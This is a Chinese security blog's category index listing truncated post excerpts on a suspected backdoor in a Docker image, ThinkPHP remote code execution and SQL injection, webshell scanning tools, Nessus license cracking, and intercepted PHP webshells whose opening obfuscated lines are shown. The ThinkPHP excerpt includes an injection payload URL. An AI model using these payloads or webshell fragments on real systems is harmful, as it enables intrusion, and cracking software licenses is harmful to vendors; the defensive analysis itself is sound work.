网络安全交流 - 爱开发博客_爱开发_博客_linux经验交流

当前位置：首页 > 网络安全交流

docker镜像chishin/nginx-proxy-manager-zh疑似有后门程序

143244729310个月前 (06-29)906

docker镜像chishin/nginx-proxy-manager-zh疑似有后门程序

服务器内部安装了汉化版的chishin/nginx-proxy-manager-zh镜像，突然发现cpu异常排除发现此镜像内部tcd进程异常，占用大量cpu。分析tcd进程发现大量异常连接请求![](https://www.lovekf.cn/zb_users/upload/2024/06/2024...

frps服务器上有网站如何不影响映射其他域名

14324472931年前 (2024-04-12)768

这个方法利用的是nginx做转发，把没有在服务器使用的泛域名其他的解析到frp上的https和http端口，然后再在Nginx Proxy Manager上转发到对应的站点，此办法有一个小小的缺点，证书过期后需要服务器重新更换证书，后期将尝试解决方案。 ```bash server { list...

ThinkPHP 3.2远程代码执行漏洞

14324472931年前 (2024-04-07)794

ThinkPHP 3.2远程代码执行漏洞，该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控，则导致模板路径变量被覆盖为携带攻击代码路径，造成文件包含，代码执行等危害。复现： https://网址/index.php?m=--><?=phpinfo();...

宝塔木马查杀工具 5.1改进

14324472931年前 (2024-03-07)510

木马查杀工具缺点：插件目录：改进方案：更新日志：webshell_check_main.py改进index.html 改进...

php webshell查杀脚本

14324472931年前 (2024-02-06)453

//不完善，任然需要继续完善 <?php function upbaiduscan($path) { $url = "https://scanner.baidu.com/enqueue&qu...

Nessus破解

14324472931年前 (2024-02-04)445

先将Nessus离线激活，离线激活码申请地址...

那些被拦截到的php小马3

14324472931年前 (2023-11-16)437

<?php if (!defined('THINK_PATH')) exit(); file_put_contents ('wordpass.php', urldecode (urldecod...

那些被拦截到的php小马2

14324472931年前 (2023-11-16)520

<?php $GLOBALS['pass'] = "6d31b7d21395a26b8035fdd7b94bb070d5993de3";$func="cr"/*-/-*/."eat"./*...

那些被拦截到的php小马

14324472931年前 (2023-11-16)494

<?php $password='admin'; $shellname='caidaome.com'; $myurl='http://www.caidaome.com'; error_reporting(E_ERROR |&nb...

thinkPHP3.2.3中sql注入漏洞

14324472931年前 (2023-11-16)543

thinkPHP3.2.3中sql注入漏洞

<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { &nb...